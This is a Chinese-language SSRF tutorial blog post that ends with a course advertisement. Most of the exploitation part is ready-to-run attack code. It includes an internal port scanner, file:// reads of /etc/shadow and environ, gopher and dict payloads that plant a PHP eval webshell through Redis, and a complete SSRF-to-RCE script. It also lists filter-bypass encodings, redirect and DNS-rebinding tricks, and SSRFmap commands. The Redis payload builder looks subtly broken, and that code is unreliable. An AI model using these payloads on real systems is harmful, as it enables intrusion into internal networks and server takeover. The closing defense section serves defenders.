“SSRF是什么?”“SSRF能做什么?”“怎么绕过SSRF限制?”
SSRF(Server-Side Request Forgery)是Web安全中最危险的漏洞之一。它允许攻击者让服务器代替自己去发起请求,从而访问内网资源、读取文件、甚至攻击内部服务。
SSRF之所以危险,是因为它打破了"外网不能访问内网"的安全边界。Web服务器通常在内网中,它能访问的内网资源是攻击者从外部无法直接访问的。通过SSRF,攻击者"借"了服务器的身份,实现了对内网的探测和攻击。
我第一次挖到SSRF是在一个图片代理功能中,url=http://127.0.0.1:6379直接访问了内网Redis,然后利用Redis未授权写了个Webshell。整个攻击链从SSRF到Getshell不到10分钟。
今天我把SSRF的完整知识整理出来:漏洞原理、利用场景、绕过技巧、防御方案。看完这篇,你对SSRF会有一个系统化认知。
⚠️ 注意:本文仅用于授权的安全测试和教育目的,严禁用于非法用途。
一、SSRF基础
什么是SSRF
💡 SSRF(Server-Side Request Forgery)是指Web应用提供了从其他服务器获取数据的功能,攻击者利用该功能让服务器发起攻击者指定的请求,从而访问内网资源、读取文件或攻击内部服务。
SSRF原理
// 漏洞代码示例$url=$_GET['url'];// 服务端直接请求用户传入的URL$content=file_get_contents($url);echo$content;正常使用:?url=http://api.weather.com/data,服务器请求天气API。
SSRF利用:?url=http://127.0.0.1:6379,服务器请求内网Redis。
SSRF危害
| 危害 | 说明 | 示例 |
|---|---|---|
| 内网探测 | 扫描内网端口和服务 | 端口扫描 |
| 读取文件 | 读取服务器本地文件 | file:///etc/passwd |
| 攻击内网服务 | 利用内网服务漏洞 | Redis未授权 |
| 命令执行 | 通过协议触发命令 | gopher:// |
| 数据泄露 | 获取内网敏感数据 | 访问内部API |
| 权限提升 | 从SSRF到RCE | Redis写Webshell |
二、SSRF常见利用场景
1. 内网端口扫描
# 通过SSRF扫描内网端口 ?url=http://127.0.0.1:22 → 开放则返回SSH Banner ?url=http://127.0.0.1:80 → 开放则返回Web页面 ?url=http://127.0.0.1:3306 → 开放则返回MySQL信息 ?url=http://127.0.0.1:6379 → 开放则返回Redis信息 ?url=http://127.0.0.1:27017 → 开放则返回MongoDB信息通过响应差异判断端口开放状态:
| 响应特征 | 端口状态 |
|---|---|
| 返回正常内容 | 开放 |
| 连接超时 | 关闭/被过滤 |
| 连接拒绝 | 关闭 |
| 返回错误但非超时 | 开放(协议不匹配) |
端口扫描脚本:
importrequestsdefssrf_port_scan(base_url,target_ip,ports):"""通过SSRF扫描内网端口"""results=[]forportinports:payload=f"http://{target_ip}:{port}"url=f"{base_url}?url={payload}"try:resp=requests.get(url,timeout=5)# 判断端口状态ifresp.status_code==200andlen(resp.text)>0:print(f"[+]{target_ip}:{port}OPEN")results.append((port,"OPEN",len(resp.text)))elif"Connection refused"inresp.text:print(f"[-]{target_ip}:{port}CLOSED")results.append((port,"CLOSED",0))else:print(f"[?]{target_ip}:{port}UNKNOWN")results.append((port,"UNKNOWN",len(resp.text)))exceptrequests.Timeout:print(f"[!]{target_ip}:{port}TIMEOUT/FILTERED")results.append((port,"FILTERED",0))returnresults# 使用base="http://target.com/fetch"scan=ssrf_port_scan(base,"127.0.0.1",[22,80,443,3306,6379,8080])2. 读取本地文件
# 利用file://协议读取文件 ?url=file:///etc/passwd ?url=file:///etc/shadow ?url=file:///proc/self/environ ?url=file:///var/www/html/config.php ?url=file:///C:/Windows/win.ini # Windows3. 攻击内网Redis
# Redis未授权 → 写Webshell ?url=http://127.0.0.1:6379/ # 但HTTP协议无法直接发送Redis命令 # 需要使用gopher协议Gopher协议攻击Redis:
importurllib.parsedefgenerate_redis_payload():"""生成Redis写Webshell的Gopher payload"""# Redis命令cmd=["FLUSHALL","SET webshell '<?php @eval($_POST[cmd]);?>'","CONFIG SET dir /var/www/html","CONFIG SET dbfilename shell.php","SAVE","QUIT"]# 构造Redis RESP协议payload=""forcincmd:payload+=f"*1\r\n${len(c)}\r\n{c}\r\n"# URL编码encoded=urllib.parse.quote(payload)# 构造gopher URLgopher_url=f"gopher://127.0.0.1:6379/_{encoded}"returngopher_url# 生成payloadurl=generate_redis_payload()print(f"SSRF URL:{url}")# 使用:?url={url}4. 攻击内网MySQL
importurllib.parsedefgenerate_mysql_payload():"""生成MySQL查询的Gopher payload"""# MySQL协议需要特定的握手和认证# 如果MySQL允许无密码连接(部分旧版)query="SELECT '<?php eval($_POST[cmd]); ?>' INTO OUTFILE '/var/www/html/shell.php'"# 简化的payload构造# 实际利用需要完整的MySQL协议握手# 使用gopherus工具# python2 gopherus.py --exploit mysqlpass# 推荐使用gopherus工具# git clone https://github.com/tarwich/gopherus.git5. 攻击内网FastCGI
# 使用gopherus生成FastCGI payloadpython2 gopherus.py--exploitfastcgi# 输入Web根目录和命令# 生成gopher URL6. 利用dict协议
# dict协议探测端口 ?url=dict://127.0.0.1:6379/info ?url=dict://127.0.0.1:6379/config:get:dir # dict协议执行Redis命令 ?url=dict://127.0.0.1:6379/set:x:<?php phpinfo();?> ?url=dict://127.0.0.1:6379/config:set:dir:/var/www/html ?url=dict://127.0.0.1:6379/config:set:dbfilename:shell.php ?url=dict://127.0.0.1:6379/save三、SSRF可利用协议
| 协议 | 说明 | 利用场景 |
|---|---|---|
| http:// | HTTP请求 | 内网Web/端口扫描 |
| https:// | HTTPS请求 | 内网Web |
| file:// | 读取文件 | 读取本地文件 |
| dict:// | 字典协议 | 端口探测/Redis命令 |
| gopher:// | 万能协议 | 攻击Redis/MySQL/FTP |
| ftp:// | FTP协议 | 内网FTP/被动模式攻击 |
| ldap:// | LDAP协议 | 内网LDAP |
| tftp:// | TFTP协议 | 简单文件传输 |
四、SSRF绕过技巧
1. IP地址绕过
当服务端过滤了127.0.0.1和localhost:
# 十进制IP ?url=http://2130706433/ # 127.0.0.1的十进制 # 八进制 ?url=http://0177.0.0.1/ # 127.0.0.1的八进制 # 十六进制 ?url=http://0x7f000001/ # 127.0.0.1的十六进制 # 混合编码 ?url=http://0177.0.0.1/ ?url=http://0x7f.0.0.1/ # IPv6 ?url=http://[::1]/ ?url=http://[::ffff:127.0.0.1]/ # 短链接 ?url=http://t.cn/xxxx # 短链接指向127.0.0.1 # 域名解析 # 注册一个域名解析到127.0.0.1 ?url=http://evil.com/ # evil.com A记录 → 127.0.0.12. URL绕过
# 利用@符号 ?url=http://evil.com@127.0.0.1/ # 实际访问127.0.0.1 # 利用#号 ?url=http://127.0.0.1#@evil.com/ # 利用反斜杠 ?url=http://127.0.0.1\@evil.com/ # 封闭字母数字 ?url=http://①②⑦.⓪.⓪.①/ # CRLF注入 ?url=http://127.0.0.1%0d%0aHost:evil.com3. DNS Rebinding
# DNS Rebinding原理:# 1. 攻击者注册域名 rebinding.evil.com# 2. DNS第一次解析返回外网IP(通过检查)# 3. DNS第二次解析返回127.0.0.1(实际请求内网)# 工具:rbndr.us# 配置两个IP,DNS交替返回# http://1.2.3.4.127.0.0.1.rbndr.us/# 第一次解析:1.2.3.4(外网,通过验证)# 第二次解析:127.0.0.1(内网,实际请求)4. 302跳转绕过
# 如果服务端只检查URL但跟随跳转# 在自己的服务器上设置302跳转# redirect.php<?php header("Location: http://127.0.0.1:6379/");?># 利用?url=http://evil.com/redirect.php# 服务端检查evil.com → 通过# 跟随302 → 访问127.0.0.1:6379绕过技巧总结
| 绕过方式 | 说明 | 示例 |
|---|---|---|
| IP编码 | 十进制/八进制/十六进制 | 2130706433 |
| IPv6 | 使用IPv6地址 | [::1] |
| @符号 | URL的 userinfo | evil@127.0.0.1 |
| 短链接 | 短链接服务 | t.cn/xxx |
| DNS Rebinding | DNS重新绑定 | rbndr.us |
| 302跳转 | 重定向到内网 | Location头 |
| 域名解析 | 自定义域名A记录 | evil.com→127.0.0.1 |
| CRLF | 利用换行注入 | %0d%0a |
五、SSRF实战案例
案例1:图片代理SSRF
# 漏洞URL GET /imageProxy?url=http://example.com/image.jpg # 利用 GET /imageProxy?url=http://127.0.0.1:6379/ GET /imageProxy?url=file:///etc/passwd GET /imageProxy?url=http://192.168.1.0/24案例2:Webhook SSRF
# 漏洞URL POST /api/webhook {"url": "http://127.0.0.1:8080/internal-api"} # 利用 {"url": "http://127.0.0.1:6379/"} {"url": "gopher://127.0.0.1:6379/_..."}案例3:PDF导出SSRF
# 漏洞URL POST /api/export-pdf {"html": "<iframe src='http://127.0.0.1:6379/'></iframe>"} # 利用 {"html": "<img src='http://127.0.0.1/'/>"}案例4:从SSRF到Redis RCE
# 完整攻击链# 1. 发现SSRF# 2. 探测内网Redis# 3. 生成Gopher payload# 4. 写入Webshell# 5. 连接Webshellimportrequestsimporturllib.parsedefssrf_redis_rce(ssrf_url,web_root):"""SSRF利用Redis写Webshell"""# Redis命令redis_cmd=f""" FLUSHALL CONFIG SET dir{web_root}CONFIG SET dbfilename shell.php SET x '<?php @eval($_POST[cmd]);?>' SAVE """# 构造gopher payloadpayload=""forlineinredis_cmd.strip().split('\n'):line=line.strip()payload+=f"*1\r\n${len(line)}\r\n{line}\r\n"encoded=urllib.parse.quote(payload)gopher_url=f"gopher://127.0.0.1:6379/_{encoded}"# 通过SSRF发送resp=requests.get(ssrf_url,params={'url':gopher_url})# 检查Webshell是否写入成功shell_url=f"http://target.com/shell.php"check=requests.get(shell_url)ifcheck.status_code==200:print("[+] Webshell写入成功!")print(f"{shell_url}")else:print("[-] 写入失败")# 使用# ssrf_redis_rce("http://target.com/fetch", "/var/www/html")六、SSRF防御方案
1. 输入验证
importipaddressimportredefvalidate_ssrf_url(url):"""验证URL,防止SSRF"""# 1. 解析URLparsed=urllib.parse.urlparse(url)# 2. 只允许HTTP/HTTPS协议ifparsed.schemenotin['http','https']:returnFalse,"只允许HTTP/HTTPS协议"# 3. 解析域名hostname=parsed.hostnameifnothostname:returnFalse,"无效的域名"# 4. 禁止内网IPtry:ip=ipaddress.ip_address(hostname)ifip.is_privateorip.is_loopbackorip.is_link_local:returnFalse,"禁止访问内网地址"except:pass# 域名而非IP# 5. 禁止特殊域名blocked_domains=['localhost','0.0.0.0','metadata.google.internal']ifhostnameinblocked_domains:returnFalse,"禁止的域名"# 6. 检查端口port=parsed.portifportandportnotin[80,443,8080,8443]:returnFalse,"禁止的端口"returnTrue,"URL安全"2. DNS解析后验证
importsocketdefsafe_request(url):"""DNS解析后再次验证IP"""parsed=urllib.parse.urlparse(url)hostname=parsed.hostname# DNS解析try:ip=socket.gethostbyname(hostname)except:returnNone,"DNS解析失败"# 验证解析后的IPip_obj=ipaddress.ip_address(ip)ifip_obj.is_privateorip_obj.is_loopback:returnNone,f"DNS解析到内网IP:{ip}"# 使用解析后的IP发起请求(防止DNS Rebinding)# 设置Host头headers={'Host':hostname}response=requests.get(f"http://{ip}{parsed.path}",headers=headers)returnresponse,"请求成功"3. 防御Checklist
| 防御措施 | 说明 |
|---|---|
| 白名单协议 | 只允许http/https |
| 禁止内网IP | 过滤私有/环回地址 |
| DNS解析后验证 | 防止DNS Rebinding |
| 禁止非常用端口 | 只允许80/443 |
| 禁止重定向 | 或每次重定向重新验证 |
| 错误信息处理 | 不返回内部网络信息 |
| 请求超时设置 | 防止长时间扫描 |
| 独立网络出口 | 使用代理隔离 |
4. 云元数据防护
# AWS元数据http://169.254.169.254/latest/meta-data/# 阿里云元数据http://100.100.100.200/latest/meta-data/# 腾讯云元数据http://169.254.169.254/latest/meta-data/# 防护:在SSRF过滤器中禁止169.254.0.0/16和100.100.100.0/24七、SSRF工具
| 工具 | 功能 |
|---|---|
| SSRFmap | SSRF自动化利用 |
| Gopherus | Gopher payload生成 |
| SSRF-Testing | SSRF测试辅助 |
| server-side-request-pollution | 服务端请求污染 |
| interactsh | OOB带外检测 |
SSRFmap使用
# 安装gitclone https://github.com/swisskyrepo/SSRFmap.gitcdSSRFmap pip3install-rrequirements.txt# 使用python3 ssrfmap.py-rrequest.txt-purl-mportscan python3 ssrfmap.py-rrequest.txt-purl-mredis python3 ssrfmap.py-rrequest.txt-purl-mreadfiles学习资源
SSRF是Web安全中最容易被低估的漏洞之一。很多开发者认为"只是一个URL请求",但实际上SSRF可以从一个简单的URL参数,一步步升级到内网渗透、文件读取、甚至RCE。
掌握SSRF需要理解HTTP协议、URL格式、各种网络协议(gopher/dict/file)以及内网服务的工作原理。从基础检测到高级绕过,每一个环节都需要大量练习。
如果你对网络安全和Web渗透感兴趣,想系统学习更多知识——包括SSRF实战、OWASP Top 10漏洞、渗透测试全流程、CTF实战等——可以参考下面整理的完整学习资料包。
内容涵盖:
SSRF漏洞从原理到实战
OWASP Top 10漏洞详解
Web渗透测试全流程
内网渗透技术指南
红蓝对抗与护网资料
CTF之Web实战讲解
Python安全编程实战
渗透测试案例分享
从零基础到实战进阶,200+节视频课程,配套工具和靶场环境,涵盖攻防对抗全生命周期。
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
总结
| 维度 | 要点 |
|---|---|
| 原理 | 服务端代替用户发起请求 |
| 利用 | 内网扫描/文件读取/攻击内部服务 |
| 协议 | http/file/dict/gopher/ftp |
| 绕过 | IP编码/@符号/DNS Rebinding/302跳转 |
| 防御 | 白名单+IP验证+DNS后验证+禁重定向 |
🔒 SSRF的本质是"借刀杀人"——让服务器代替攻击者访问内网资源。防御的核心是"不要信任用户提供的任何URL"。
————————————————